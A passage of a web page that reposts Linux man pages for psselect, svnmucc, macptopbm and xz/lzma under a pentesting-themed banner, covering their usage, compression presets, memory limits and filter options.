If any of the -r, -e, or -o options are specified, the page range must be given with the -p option. This is for backwards compatibility with previous versions.

NOTES

The page number given to psselect is the number of the page counting from the start or end of the file, starting at one. The actual page number in the document may be different.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

Psselect does not accept all DSC comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

462 - Linux cli command svnmucc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svnmucc and provides detailed information about the command svnmucc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svnmucc.

NAME 🖥️ svnmucc 🖥️

Multiple URL Command Client for Subversion

SYNOPSIS

svnmucc [options]

OVERVIEW

Subversion is a version control system, which allows you to keep old versions of files and directories (usually source code), keep a log of who, when, and why changes occurred, etc., like CVS, RCS or SCCS. Subversion keeps a single copy of the master sources. This copy is called the source ``repository’’; it contains all the information to permit extracting previous versions of those files at any time.

For more information about the Subversion project, visit http://subversion.apache.org.

Documentation for Subversion and its tools, including detailed usage explanations of the svn, svnadmin, svnserve and svnlook programs, historical background, philosophical approaches and reasonings, etc., can be found at http://svnbook.red-bean.com/.

Run `svnmucc –help’ to access the built-in tool documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

463 - Linux cli command macptopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command macptopbm and provides detailed information about the command macptopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the macptopbm.

.

NAME 🖥️ macptopbm 🖥️

convert a MacPaint file into a PBM image

SYNOPSIS

macptopbm [-extraskip N] [macpfile]

DESCRIPTION

This program is part of Netpbm(1) .

macptopbmreads a MacPaint file as input and produces a PBM image as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), macptopbm recognizes the following command line option:

You can abbreviate any option to its shortest unique prefix.

-extraskip
This option is to get around a problem with some methods of transferring files from the Mac world to the Unix world. Most of these methods leave the Mac files alone, but a few of them add the “finderinfo” data onto the front of the Unix file. This means an extra 128 bytes to skip over when reading the file. The symptom to watch for is that the resulting PBM file looks shifted to one side. If you get this, try -extraskip 128, and if that still doesn’t look right try another value.

SEE ALSO

picttoppm(1) , pbmtomacp(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

The MacPaint-reading code is copyright (c) 1987 by Patrick J. Naughton ([email protected]).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/macptopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

464 - Linux cli command lzma

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzma and provides detailed information about the command lzma, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzma.

NAME 🖥️ lzma 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

